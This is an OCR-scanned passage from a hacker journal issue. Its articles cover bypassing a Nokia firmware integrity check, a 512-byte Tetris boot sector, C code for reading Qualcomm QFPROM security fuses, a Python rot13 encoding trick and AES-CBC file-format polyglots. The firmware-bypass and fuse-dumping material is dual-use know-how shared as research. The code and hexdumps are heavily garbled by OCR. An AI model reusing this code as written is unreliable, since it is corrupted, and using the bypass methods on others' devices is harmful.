hash on the rest of the code. When the check fails, it uses the code that it just failed to verify to alert the 
user that there is a problem with the binary! It's right there at 0x0145_3178, in the fifth megabyte of the 
binary. 

From here writing a bypass was as simple as writing a small patch that fixes the Binary Mismatch fiag 
and jumps back to place right after the check. Ain't that clever? 

How could such a vulnerability happen to a big company like Nokia? Well, beyond speculation, it's a 
common problem that high level programmers don't pay attention to the lower layers of abstraction. Perhaps 
the linking scripts weren't carefully reviewed, or they were changed after the secure bootloader was written. 

It could be that they really wanted to give the user some indication about the problem, or that they had 
to invoke some cleanup function before shutdown, and by mistake, the relevant code was in another library 
that got linked into higher addresses, and no one thought about it. 

Anyhow, this is my favorite method for patching the fiash. It doesn't allow me to patch the first megabyte 
directly, but I can accomplish all that I need by patching the later megabytes of firmware. 

However, if that's not enough, some neighbors reversed the first megabyte check for some of the phones 
and made it public. Alas, the function they published is only good for some modules, and not for the entire 
series. 

How did they manage to do it, you ask? Well, it's possible that it was silicon reverse engineering, but 
another method is rumored to exist. The rumor has it that with JTAG debugging, one could single-step 
through the program and spy on the Instruction Fetch stage of the pipeline in order to recover the instructions 
from mask ROM. Replacing those instructions with a NOP before they reach the WriteBack stage of the 
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pipeline would linearize the code and allow the entire ROM to be read by the debugger while the CPU sees 
it as one long NOP sled. As I've not tried this technique myself, I'd appreciate any concrete details on how 
exactly it might be done. 



Now that I had a way to patch the firmware, I could go on to creating a patched version to make this 
phone Kosher. I had to reverse the menu functions entirely, which was quite a pain. I also had to reverse 
the methods for loading strings in order to have a better way to find my way around this big binary file. 

Some of the patching was a bit smoother than others. For instance, after removing Internet options from 
all of the menus, I wanted to be extra careful in case I missed a secret menu option. 

To disable the Internet access, one might suggest searching for the TCP implementation, but that would 
be too much work, and as a side effect it might harm IPC. One can also suggest searching for things like the 
default gateway and set it to something that would never work, but again that would be too much work. So 
I searched for all the places where the word "GET" in all capitals was found in the binary. Luckily I had 
just one match, and I patched it to "BET", so from now on, no standard HTTP server would ever answer 
requests. Moreover, to be on the extra, extra safe side I've also patched "POST" to "MOST". Lets see them 
downloading porn with that! 

Be sure to read my next article for some fancy tricks involving the filesystem of the phone. 
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8 Tetranglix: This Tetris is a Boot Sector 



by Juhani Haverinen, Owen Shepherd, and Shikhin Sethi 



Since Dakarand in a 512-byte boot sector would have been too easy, and 
since both Tetris and 512-byte boot sectors are the perfect ingredients to a 
fun evening, the residents of #osdev-offtopic on FreeNode took to writing 
a Tetris clone in the minimum number of bytes possible. This tetris game 
is available by unzipping this PDF file, through Github,^ by typing the hex 
from page 32, or by scanning the barcode on page 31. 

There's no fun doing anything without a good challenge. This project 
presented plenty, a few of which are described in this article. 

To store each tetramino, we used 32-bit words as bitmaps. Each 
tetramino, at most, needed a 4 by 4 array for representation, which could 
easily be flatenned into bitmaps. 



; All tetraminos in bitmap format. 








tetraminos : 










dw ObOOOOll 1100000000 


I 


-Z-- 


-S-- 


-0-- 


dw ObOOOOlllOOOlOOOOO 


J 








dw ObOOOOOOlOl 1100000 


L 


0000 


0000 


0000 


dw ObOOOOOllOOllOOOOO 


0 


0110 


0011 


0110 


dw ObOOOOOOllOllOOOOO 


s 


0011 


Olio 


0110 


dw ObOOOOll 1001000000 


T 


0000 


0000 


0000 


dw ObOOOOOllOOOllOOOO 


Z 










Instead of doing bound checks on the current position of the tetramino, to ensure the user can't move it 
out of the stack, we simply restricted the movement by putting two-block wide boundaries on the playing 
stack. The same also added to the esthetic appeal of the game. 

To randomly determine the next tetramino to load, our implementation also features a Dakarand-style 
random number generator between the RTC and the timestamp counter. 



; Get random number in AX. 
rdtsc 

xor ax, dx 



The timestamp counter. 



; (INTERMEDIATE CODE) 



; Yayy, more random. 

add ax, [0x046C] ; And the RTC (updated via BIOS). 

The timestamp counter also depends on how much input the user provided. In this way, we ensure that 
the user adds to the entropy by playing the game. 

Apart from such obvious optimizations, many nifty tricks ensure a minimal byte count, and these are 
what make our Tetranglix code worth reading. For example, the same utility function is used both to blit 
the tetramino onto the stack and to check for collision. Further optimization is achieved by depending upon 
the results of BIOS calls and aggressive use of inhning. 

While making our early attempts, it looked impossible to fit everything in 512 bytes. In such moments of 
desperation, we attempted compression with a simplified variant of LZSS. The decompressor clocked at 41 
bytes, but the compressor was only able to reduce the code by 4 bytes! We then tried LZW, which, although 
saved 21 bytes, required an even more complicated decompression routine. In the end, we managed to make 
our code dense enough that no compression was necessary. 

®https : //github. com/Shikhin/tetranglix 
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Since the project was written to meet a strict deadline, we couldn't spend more time on optimization 
and improvement. Several corners had to be cut. 

The event loop is designed such that it waits for the entirety of two PIT (programmable interval timer) 
ticks— 109. SSOSmS* before checking for user input. This creates a minor lag in the user interface, something 
that could be improved with a bit more effort. 

Several utility functions were first written, then inlined. These could be rewritten to coexist more 
peacefully, saving some more space. 

As a challenge, the authors invite clever readers to clean up the event loop, and with those bytes shaved 
off, to add support for scoring. A more serious challenge would be to write a decompression routine that 
justifies its existence by saving more bytes than it consumes. 

; IT'S A SECRET TO EVERYBODY, 
db "ShNoXgSo" 




Put a Monkey Wrench 
into your ATARI 800 

cm your programming lime from hours to seconds, and have 16 direct 
mode commands. All at your finger Hps and all made easy by the 
MONKEYWRENCH II. — 
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right slot ol your ATARI and works with the 
ATARI BASIC cartridge. 
Order your MONKEY WRENCH II today and 
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• Line numbering 

• Renumbering basic line numbers 

• Deletion of line numbers 

• Voriable end current vdue display 

• Up and down scrolling of bosic | 

E>rograms 
ocation of every string occurrence 

• String exchange 

• Move lines 

• Copy lines 

• ^Mciallineformals and page numbering 

• Disk directory dlsF^oy 

• Margins change 

• Memory test 

• CurscK exchange 

• Uppercase lock 

• Hex conversion 

• Dectmai conversion 

• Machine ksnguage monitor 
The MONKEY WRENCH II also contains a 
machine languooe monitor v 
that can be used to interact v 
of the 6502 microprocessor. 
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S59.95 A 

A 
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Offset (h) 


00 


01 


02 


03 


04 


05 


06 


07 


08 


09 


OA 


OB 


OC 


OD 


OE 


OF 


0000. 


.0000 


ea 


05 


7c 


00 


00 


31 


db 


86 


d3 


be 


00 


7c 


86 


db 


86 


c3 


0000. 


.0010 


fc 


bf 


04 


05 


b9 


b6 


01 


31 


cO 


f3 


aa 


bO 


03 


cd 


10 


b5 


0000. 


.0020 


26 


bO 


03 


fe 


c4 


cd 


10 


b8 


00 


b8 


8e 


cO 


31 


ff 


b9 


dO 


0000. 


.0030 


07 


b8 


00 


Of 


f3 


ab 


be 


2a 


05 


66 


b8 


db 


db 


db 


db 


66 


0000. 


.0040 


89 


44 


fd 


89 


44 


01 


83 


c6 


10 


81 


f6 


ba 


06 


76 


fO 


30 


0000. 


.0050 


d2 


be 


24 


05 


bf 


b8 


7d 


fb 


8b 


le 


6c 


04 


83 


c3 


02 


39 


0000. 


.0060 


le 


6c 


04 


75 


fa 


84 


d2 


75 


37 


fe 


c2 


60 


Of 


31 


31 


dO 


0000. 


.0070 


31 


d2 


03 


06 


6c 


04 


b9 


07 


00 


f7 


fl 


89 


d3 


dO 


63 


8b 


0000. 


.0080 


9f 


e8 


7d 


bf 


04 


05 


be 


db 


00 


b9 


10 


00 


30 


cO 


dl 


e3 


0000. 


.0090 


Of 


42 


c6 


88 


05 


47 


62 


f4 


61 


c7 


04 


06 


00 


69 


a5 


00 


0000. 


.OOaO 


b4 


01 


cd 


16 


74 


59 


30 


64 


cd 


16 


8b 


Ic 


80 


fc 


4b 


75 


0000. 


.OObO 


06 


fe 


Oc 


ff 


d7 


72 


46 


80 


fc 


4d 


75 


06 


fe 


04 


ff 


d7 


0000. 


.OOcO 


72 


3b 


80 


fc 


48 


75 


38 


31 


c9 


fe 


cl 


60 


06 


le 


07 


be 


0000. 


.OOdO 


04 


05 


b9 


04 


00 


bf 


13 


05 


01 


cf 


b2 


04 


a4 


83 


c7 


03 


0000. 


.OOeO 


fe 


ca 


75 


f8 


e2 


ef 


be 


14 


05 


bf 


04 


05 


bl 


08 


f3 


a5 


0000. 


.OOfO 


07 


61 


62 


d7 


ff 


d7 


73 


07 


b9 


03 


00 


eb 


ce 


89 


Ic 


fe 


0000. 


.0100 


44 


01 


ff 


d7 


73 


3f 


f6 


4c 


01 


30 


d2 


60 


06 


l6 


07 


ba 


0000. 


.0110 


99 


7d 


e8 


87 


00 


31 


c9 


be 


2a 


05 


b2 


10 


30 


db 


ac 


84 


0000. 


.0120 


cO 


Of 


44 


da 


fe 


ca 


75 


f6 


84 


db 


75 


Ob 


fd 


60 


89 


f7 


0000. 


.0130 


83 


66 


10 


f3 


a4 


61 


fc 


83 


cl 


10 


81 


f9 


90 


01 


72 


da 


0000. 


.0140 


07 


61 


e9 


f 1 


fe 


60 


bf 


30 


00 


be 


2a 


05 


b9 


10 


00 


ac 


0000. 


.0150 


aa 


47 


aa 


47 


62 


f9 


83 


c7 


60 


81 


ff 


aO 


Of 


72 


ed 


61 


0000. 


.0160 


60 


8a 


44 


01 


bl 


50 


f6 


6l 


Of 


b6 


3c 


dl 


67 


83 


c7 


18 


0000. 


.0170 


01 


c7 


dl 


e7 


bl 


10 


be 


04 


05 


b4 


Of 


84 


c9 


74 


16 


fe 


0000. 


.0180 


c9 


ac 


84 


cO 


26 


Of 


44 


05 


ab 


ab 


f6 


cl 


03 


75 


ec 


81 


0000. 


.0190 


c7 


90 


00 


6b 


66 


61 


69 


bf 


f6 


08 


05 


c3 


60 


68 


35 


00 


0000. 


.OlaO 


bl 


10 


84 


c9 


74 


10 


fe 


c9 


ac 


ff 


d2 


47 


f6 


cl 


03 


75 


0000. 


.OlbO 


f 1 


83 


c7 


Oc 


eb 


ec 


61 


c3 


60 


f8 


ba 


c2 


7d 


68 


dc 


ff 


0000. 


.OlcO 


61 


c3 


3c 


db 


75 


06 


81 


ff 


ba 


06 


73 


04 


3a 


05 


75 


04 


0000. 


.OldO 


83 


c4 


12 


f9 


c3 


Of 


b6 


44 


01 


cl 


eO 


04 


Of 


b6 


Ic 


8d 


0000. 


.OleO 


78 


06 


01 


c7 


be 


04 


05 


c3 


00 


Of 


20 


Oe 


eO 


02 


60 


06 


0000. 


.OlfO 


60 


03 


40 


06 


30 


06 


53 


68 


46 


6f 


58 


67 


53 


6f 


55 


aa 



This is a complete Tetris game. 



New KODAK 
INSTAGRAPHir 
CRT Imaging Outfit 
malies it simpie 
and economical to 
picture computer 
or video displays 
in full photographic color. 




For ONLY 

m 



TO ORDER, 
CALL NOW TOLL-FREE: 

1-800-328-5618. 

MINNESOTA RESIDENTS, CALL: 
1-800-322-0493. 

Or use this coupon 
and order by mail 
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9 Defusing the Qualcomm Dragon 



a short story of research by Josh "mOnk" Thomas 

Earlier this year, Nathan Keltner and I started down the curious path of Qualcomm SoC security. The 
boot chain in particular piqued my interest, and the lack of documentation doubled it. The following is a 
portion of the results.'' 

Qualcomm internally utilizes a 16kB bank of one time programmable fuses, which they call QFPROM, 
on the Snapdragon S4 Pro SoC (MSM8960) as well as the other related processors. These fuses, though 
publicly undocumented, are purported to hold the bulk of inter-chip configuration settings as well as the 
cryptographic keys to the device. Analysis of leaked documentation has shown that the fuses contain the 
primary hardware keys used to verify the Secure Boot 3.0 process as well as the cryptographic information 
used to secure Trust Zone and other security related functionality embedded in the chip. Furthermore, the 
fuse bank controls hardwired security paths for Secure Boot functionality, including where on disk to acquire 
the bootable images. The 16kB block of fuses also contains space for end user cryptographic key storage and 
vendor specific configurations. 

These one time programmable fuses are not intended to be directly accessed by the end user of the 
device and in some cases, such as the basic cryptographic keys, the Android kernel itself is not allowed to 
view the contents of the QFPROM block. These fuses and keys are documented to be hardware locked and 
accessible only by very controlled paths. Preliminary research has shown that a previously unknown 4kB 
subset of the 16kB block is mapped into the kernel IMEM at physical location 0x0070_0000. The fuses are 
also documented to be shadowed at 0x0070_4000 in memory. Furthermore, there exists somewhat unused 
source code from the Code Aurora project in the Android kernel that documents how to read and write to 
the 4kB block of exposed fuses. 

Aside from the Aurora code, many vendors have also created and publicly shared code to play with the 
fuses. LG is the best of them, with a handy little kernel module that maps and explores LG specific bitfiags. 
In general, there is plenty of code available for a clever neighbor to learn the process. 

The following are simple excerpts from my tool that should help you explore these fuses with a little 
more granularity. Please note, and NOTE WELL, that writing eFuse or QFPROM values can and probably 
will brick your device. Be careful! 

One last interesting tidbit though, one that will hopefully entice the reader to do something nifty. SoC 
and other hardware debugging is typically turned off with a blown fuse, but there exists a secondary fuse 
that turns this functionality back on for RMA and similar requests. Also, these fuses hold the blueprint for 
where and how Secure Boot 3.0 works as well as where the device should look for binary blobs to load during 
setup phases. 

// 

/ / Before we can crawl , we must have app endages 

//— — 

static int map _ t he _ things ( void ) { 
uint32_t i ; 

uint8_t stored_data_temp ; 

// 

// Stage 1: Hitting the eFuse memory directly (this is not supposed to work) 

// 

pr_info ( "mOnk^->„and^we„run^ until ^we^read : ^%i ^ 1 o ve ly ^ by t es \n " , QFPROM_FUSE_BLOB_SIZE ) ; 

for (i ^ 0; i < QFPROM_FUSE_BLOB_SIZE ; i++) { 

stored_data_temp ^ re adb_ relaxed ( (QFPROM_BASE_MAP_ADDRESS + i)); 

if (!stored_data_temp) { 

pr _ info ( "niOnk^— >^ location „by te wUumber : „%i ,„haSwnOwValidwValue\n" , i ) ; 

b ase_ fuse _ map [ i ] — 0 ; 
} e Ise { 

pr_info ( " \tmOnk_— >^ location :^ byte ^number : ^%i , „haSwValue : w%x\n " , 

i , stored_data_temp ) ; 
base_fuse_values [ i ] — stored_data_temp ; 
base_fuse_map [ i ] — 1; 

} 

''Thanks Mudge! 



33 



} 

stored_data_temp — 0; 

// 

// Stage 2: Hitting the eFuse shadow memory (this is supposed to work) 

// 

// for (i - 0; i < QFPROM_FUSE_BLOB_SIZE; i++) { 

// stored_data_temp ^ readb _ relaxed ( (QFPROM_SHADOW_A4AP_ADDRESS + i)); 

// if ( ! stored_ data_temp ) { 

// pr_info("mOnk—> location: , byte number: %i , has no valid value\n" , i); 

// shadow _f use _map [ i ] — 0; 

// }else{ 

// pr _info ( " \tmOnk —> location: , byte number: %i , has value: %x\n" , i, stored_data_temp ) ; 

/ / shadow_fuse_ values [ i J — stored _ data_ temp ; 

// shadow _ fuse _map [ i j — 1; 

// } 
// } 

return 0; 



// Now we can crawl , and we do so blindly 

// 

static int dump _ the _ things ( void ) { 

// This should get populated with code to dump the arrays to a file for offline use. 
uint32_t i ; 

pr_info ( "\n\nmOnk->„Known„QF-4TOM^Direct^Contents !\n" ) ; 

for (i ^ 0; i <: QFPROM_FUSE_BLOB_SIZE ; i++) { 
if (base_fuse_map [ i ] = 1 ) 

pr_info ( "mOnk^->^ of fsct : ^Ox%x^(%i ) , ^ has ^ value : ^Ox%x^{%i )\ii" , 
i , i , base_fuse_values[i] , base_fuse_values[i]); 

} 

// pr _ info ( " \ n\ nmOnk—> Known QF—PROM Shadow C ontents ! \ n " ) ; 

// for (i - 0; i < QFPROM_FUSE_BLOB_SIZE; i + { 
// ^f( shadow_fuse_ map [ i j == 1 ) 

// pr_info("mOnk—> offset: 0%xx , has value: Ox%x (%i)\n", 

/ / i , shadow _ fuse _ values [ i J , shadow _ fuse _ values f i J ) ; 

// } 

return 0; 

} 

Writing a fuse is slightly more complex, but basically amoTints to piishing a voltage to the cFtisc for a 
specified dm'ation in order for the fuse to blow. This feature is included in my complete fuse introspection 
tool, which will be available through Github soon.^ 

Have fun, break with caution and enjoy. 




New and Unusual SOUNDS 
for your Computer $149.95 



The Microsounder is an S-100 compatible sound generat- 
ing card that can be programmed In BASIC or assembly 
language. Three to five liries of code generates such sounds 
as: organ mudc, sirens, phasers, shotguns, explosions, trains, 
bird calls, helicopters, race cars, airplanes, machine guns, 
barking dogs, and many thousands more. Only a few minutes 
of time is needed to patch the sound code into existing 
prOTrams. 

'The Microsounder is assembled and tested, and comes 
complete with sample code, two game programs, and two 
utili^ I»'ograms for creating almost any sound. 





https: / /github. com/monk-dot /DefusingTheDragon 
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10 Tales of Python's Encoding 



by Prederik Braun 

Many beginners of Python have suffered at the hand of the almighty SyntaxError. One of the less 
frequently seen, yet still not unconimon instances is something like the following, which appears when 
Unicode or other non- ASCII characters are used in a Python script. 

SyntcixError : Non-ASCII character ... in .... but no encoding declcired; 
see http://www.python.org/peps/pep-0263.htinl for details 

The common solution to this error is to place this magic comment as the first or second line of your 
Python script. This tells the interpreter that the script is written in UTF8, so that it can properly parse the 
file. 

# encoding: utf-8 

I have stumbled upon the following hack many times, but I have yet to see a complete write-up in our 
circles. It saddens me that I can't correctly attribute this trick to a specific neighbor, as I have forgotten 
who originally introduced me to this hackery. But hackery it is. 

10.1 The background 

Each October, the neighborly FIuxFingers team hosts hack, lu's CTF competition in Luxembourg. Just last 
year, I created a tiny challenge for this CTF that consists of a single file called "packed" which was supposed 
to contain some juicy data. As with every decent CTF task, it has been written up on a few blogs. To my 
distress, none of those summaries contains the full solution. 

The challenge was in identifying the hidden content of the file, of which there were three. Using the liberal 
interpretation of the PDF format,^ one could place a document at the end of a Python script, enclosed in 
multi-line string quotes. 

The Python script itself was surrounded by weird unprintable characters that make rendering in command 
line tools like less or cat rather unenjoyable. What most people identified was an encoding hint. 



OOOOOaO: 


OcOc 


OcOc 


OcOc 


OcOc 


2364 


6973 


6162 


6c65 


#disable 


OOOOObO: 


642d 


656e 


636f 


6469 


6e67 


3a09 


5f72 


6f74 


d-encoding: . 


, _rot 


0000180: 


5f5f 


5f5f 


5f5f 


5f5f 


5f5f 


5f5f 


5f5f 


5f5f 






0000190: 


3133 


037c 


1716 


0803 


2010 


1403 


lelb 


1511 


13. 1 





Despite the unprintables, the long range of underscores didn't really fend off any serious adventurer. The 
following content therefore had to be rotl3 decoded. The rest of the challenge made up a typical crackme. 
Hoping that the reader is entertained by a puzzle like this, the remaining parts of that crackme will be left 
as an exercise. 

The real trick was sadly never discovered by any participant of the CTF. The file itself was not a PDF that 
contained a Python script, but a pjdihon script that contained a PDF. The whole file is actually executable 
with your python interpreter! 

Due to this hideous encoding hint, which is better known as a magic comment, the python interpreter 

will fetch the codec's name using a quite liberal regex to accept typical editor settings, such as "vim: set 
fileencoding=foo" or "-*- coding: foo". With this codec name, the interpreter will now import a python file 
with the matching name^^ and use it to modify the existing code on the fiy. 

^As seems to be mentioned in every PoC||GTFO issue, the header doesn't need to appear exax;tly at the file's beginning, but 
within the first 1,024 bytes. 

^""""This is a multiline Python string. 
It has three quotes. " " " 

i^See Python PEP 0263, Defining Python Source Code Encodings 

'^^See /usr/lib/python2.7/encoding/ init .py near line 99. 
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10.2 The PoC 



Recognizing that cevag is the Rotl3 encoding of Python's print command, it's easy to test this strange 
behavior. 

7o cat poc.py 

# ! / usr/bin/ python 

#encoding: rot 13 

cevag 'Hello World' 

% ./poc.py 

Hello World 

% 

10.3 Caveats 

Sadly, this only works in Python versions 2.X, starting with 2.5. My current test with Python 3.3 yields first 
an unknown encoding error (the "rotl3" alias has sadly been removed, so that only "rot-13" and "rot_13" 
could work). But Python 3 also distinguishes strings from bytearrays, which leads to type errors when 
trying this PoC in general. Perhaps rot_13.py in the python distribution might itself be broken? 

There are numerous other formats to be found in the encodings directory, such as ZIP, BZip2 and Base64, 
but I've been unable to make them work. Most lead to padding and similar errors, but perhaps a clever 
reader can make them work. 

And with this, I close the chapter of Python encoding stories. TGSB! 
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11 A Binary Magic Trick, Angecryption 



by Ange Albertini and Jean-Philippe Aumasson 

This PDF file, the one that you are reading right now, contains a magic trick. If you encrypt it with AES 
in CBC mode, it becomes a PNG image! This brief article will teach you how to perform this trick on your 
own files, combining PDF, JPEG, and PNG files that gracefully saunter across cryptographic boundaries. 

Given two arbitrary documents S (source) and T (target), we will create a first file Fx that gets rendered 
the same as S and a second file F2 = AESk,iv{Fi) that gets rendered the same as T by respective format 
viewers. We'll use the standard AES-128 algorithm in CBC mode, which is proven to be semantically secure^^ 
when used with a random IV. 

In other words, any file encrypted with AES-CBC should look like random garbage, that is, the encryption 
process should destroy all structure of the original file. Like all good magicians, we will cheat a bit, but I 
tell you three times that if you encrypt this PDF with an IV of 5B FO 15 E2 04 8C E3 D3 8C 3A 97 E7 
8B 79 5B CI and a key of "Manul Laphroaig!", you will get a valid PNG file. 



11.1 When the Format Payload can St£trt at Any Offset 



First let's pick a format for the file F2 that doesn't require its payload to start right at offset 0. Such formats 
include ZIP, Rar, 7z, etc. The principle is simple: 



Fl: 



magic garble 



F2: 



Eno(S) 



padding 



First we encrypt S, and get apparent garbage Enc{S). Then we create F2 by appending T to Enc{S), which 
will be padded, and we decrypt the whole file to get Fi. Thus Fi is S with apparent garbage appended, and 
F2 is T with apparent garbage prepended. 

This method will also work for short enough S and formats such as PDF that may begin within a certain 
limited distance of offset 0, but not at arbitrary distance. 



11.2 Formats Starting at Offset 0 

We had it easy with formats that allowed some or any amount of garbage at the start of a file. However, 
most formats mandate that their files being with a magic signature at offset 0. Therefore, to make the first 
blocks of Fl and F2 meaningful both before and after encryption, we need some way to control AES output. 
Specifically, we will abuse our ability to pick the Initialization Vector (IV) to control exactly what the first 
block of Fl encrypts to. 

In CBC mode, the first 16-byte ciphertext block Cq is computed from the first plaintext block Pq and 
the 16-byte IV as 

Co = EncK{Po(SlV) 

where K is the key and Enc is AES. Thus we have DecK(Co) = Po® IV and we can solve for 

IV = DecK{Co)(BPo 

As a consequence, regardless of the actual key, we can easily choose an IV such that the first 16 bytes of 
Fl encrypt to the first 16 bytes of F2, for any fixed values of those 2x16 bytes. The property is obviously 
preserved when CBC chaining is used for the subsequent blocks, as the first block remains unchanged. 

So now we have a direct AES encryption that will let us control the first 16 bytes of F2. 

Now that we control the first block, we're left with a new problem. This trick of choosing the IV to force 
the encrypted contents of the first block won't work for latter blocks, and they will be garbage beyond our 
control. 

l^"IND-CPA" in cryptographers' jargon. 
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So how do wc turn this garbage into vahd content (that renders as T)7 We don't. Instead, we use the 
contents of the first block to cause the parser to skip over the garbage blocks, until it lands at the ending 
region which we control. This trick is similar to the one I used to combine a PDF and JPEG in Section 3, 
and it's a damned important trick to keep handy for other purposes. 



F2: 



Ts format 
signature 


start of 
ignored chunk 


ignored chunk: 
remaining blocks of Enc(S) 


remaining contents of T 


first block of EnG(S) 



Let's take a look at some specific file formats and how to implement them with Angecryption. 

11.2.1 Joint Photographic Experts Group 

According to specification/"* JPEG files start with a signature FF D8 called "Start Of Image" (SOI) and 
consist of chunks called segments. Segments are stored as 

{marker : 2) {variablesize{data + 2) : 2) {data :?) 

In a typical JPEG file the SOI is followed by the APPO segment that contains the JFIF signature, with 
marker FF EO. The APPO segment is usually 16 bytes. 

So we need to insert a COMnient segment (marker FF FE) right after the SOI. As we know the size of S 
in advance, we can already determine the start of F2, and then the AES-CBC IV. T will then contain the 
APPO segment, and its usual JPEG content. 

11.2.2 Portable Network Graphics 

PNG files are similar to JPEGs, except that their chunks contain a checksum, and their size structure is four 
bytes long. 

A PNG file starts with the signature "\x89PNG\xOD\xOA\xlA\xOA" and is then structured in TLV chunks. 

{length{data) : 4){chunktype : 4) {chunkdata -.1) {crc{chunktype + chunkdata) : 4) 

These are typically located right after the signature, where an IHDR (ImageHeaDeR) chunk usually starts. 

For F2 to be valid, we need to start with a chunk that will cover the len{S) — 16 garbage bytes of Enc{S). 
We can give it any lowercase chunk type,^^ and luckily, at the end of the chunk type, we're right at the limit 
of 16 bytes, so no brute forcing of the next encrypted block is required. 

At that point of F2 the uncontrolled garbage portion may start. We then calculate its checksum, append 
it, then resume with all the chunks coming from T. Our F2 is now composed of (1) a PNG signature, (2) a 
single dummy chunk containing Enc{S), and (3) the T chunks that make up the meaningful image. This is 
a valid PNG file. 

11.2.3 Portable Document Format 

PDF may include dummy objects of any length. However, we need a trick to make the signature and the 
first object declaration fit in the first 16 bytes. 

A PDF starts with "%PDF-1.5" signature. This signature has to be entirely within the first 1024 bytes 
of the file, and everything after the signature must be a valid PDF file. Because the uncontrolled portion of 
the file appears as a lot of garbage after the first block, it needs to be enclosed in a dummy stream object. 

I^'JPEG File Interchange Format Version 1.02, Sept. 1, 1992 

^^If the first letter in the type field of a PNG block is lowercase, then that chunk will be ignored by the viewer, which 
interprets it as a custom dummy block. 
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1 0 obj 
« » 
stream 

Unfortunately, the PDF signature followed by a standard stream object declaration take up 30 bytes. 
Choosing the IV only gives us 16 bytes to play with, so we must somehow compress the PDF header and 
opening of a stream object into slightly more than half the space it would normally take. 

Our trick will be to truncate both the signature and the object declaration by inserting null bytes 
"%PDF-\Oobj\Ostream". The signature is truncated by a null byte,^^ and we also omit the object reference 
and generation, and the object dictionary. Luckily, this reduced form takes exactly 16 bytes, and still works! 

Now the uncontrolled remainder of Enc(S) will be ignored as a valid but unused stream object. We then 
only need the start of T to close that object, and then T can be a valid PDF. So F2 is a valid PDF file, 
showing T's content. 

11.3 Conclusion 

Provided that the format of our source file tolerates some appended garbage, and that the file itself is not 
too big, we can encrypt it to a valid PNG, JPEG or PDF. 

This same technique can work for other ciphers and file formats. Any block cipher will do, provided that 
its standard block size is big enough to fit the target header and a dummy chunk start. This means we need 
six bytes for JPEG, sixteen bytes for PDF and PNG. 

An older cipher such as Triple-DES, which has blocks of eight bytes, can still be used to encrypt to JPEG. 
ThreeFish, which can have a block size of 64 bytes, can even be used to encrypt a PE. The first block would 
be large enough to fit the entire DOS_HEADER, which allows you to relocate the NT_Headers wherever you 
Uke, up to OxOFFF_FFFF. 

So you could make a valid WAV file that, when encrypted with AES, gives you a valid PDF. That same 
file, when encrypted with Triple-DES, gives you a JPEG. Furthermore, when decrypted with ThreeFish, 
that file would give you a PE. You can also chain stages of encryption, as long as the size requirements are 
taken care of. 




This part of the trick was learned from Tavis Ormandy. 
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12 A Call for PoC 



by Rt. Revd. Dr. Pastor Manul Laphroaig 

Howdy, neighbor! Is that a fresh new PoC you are hugging so close? Don't stifle it, neighbor, it's time 
for it to see the world, and what better place to do it than from the pages of the famed International Journal 
of PoC or GTFO? It will be in a merry company of other PoCs big and small, bit-level and byte-level, raw 
binary or otherwise, C, Python, Assembly, hexdump or any other language. But wait, there's more — our 
editors will groom it for you, and dress it in the best Sunday clothes of proper church English. And when it 
looks proudly back at you from these pages, in the company of its new friends, won't that make you proud? 
So set that little PoC free, neighbor, and let it come to me, pastor@phrack.org! 



12.1 PoC Contributions 

Do this: Write an email telling our editors how to do reproduce *ONE* clever, technical trick from your 
research. 

Like an email, keep it short. Like an email, you should assume that we already know more than a bit 
about hacking, and that we'll be insulted or— WORSE!— that we'll be bored if you include a long tutorial 
where a quick reminder would do. Don't try to make it thorough or broad. 

Do pick one quick, clever low-level trick and explain it in a few pages. Teach me how to patch 81-column 
support into CMD.EXE; teach me how to make a Turing-machine out of twigs and mud; or, teach me how 
to make a randomized bingo card as a PDF that never renders the same way twice. Show me how to hide 
steganographic messages with METAFONT so that a trained reader can pick out from the paper copy, or 
how to decode downlink data from the Voyager spacecraft. Don't tell me that it's possible; rather, teach me 
how to do it myself with the absolute minimum of formality and bullshit . 

Like an email, we expect informal (or faux-biblical) language and hand-sketched diagrams. Write it in 
a single sitting, and leave any editing for your poor preacherman to do over a bottle of scotch. Send this 
to pastor@phrack.org and hope that the neighborly Phrack folks— praise be to them!— aren't man-in-the- 
middling our submission process. 

You can expect PoC||GTFO 0x04, our fifth release, to appear in print soon at a conference of good 
neighbors. We've not yet decided whether to include crayons, but you can be damned sure that it'll be a 
good read. 
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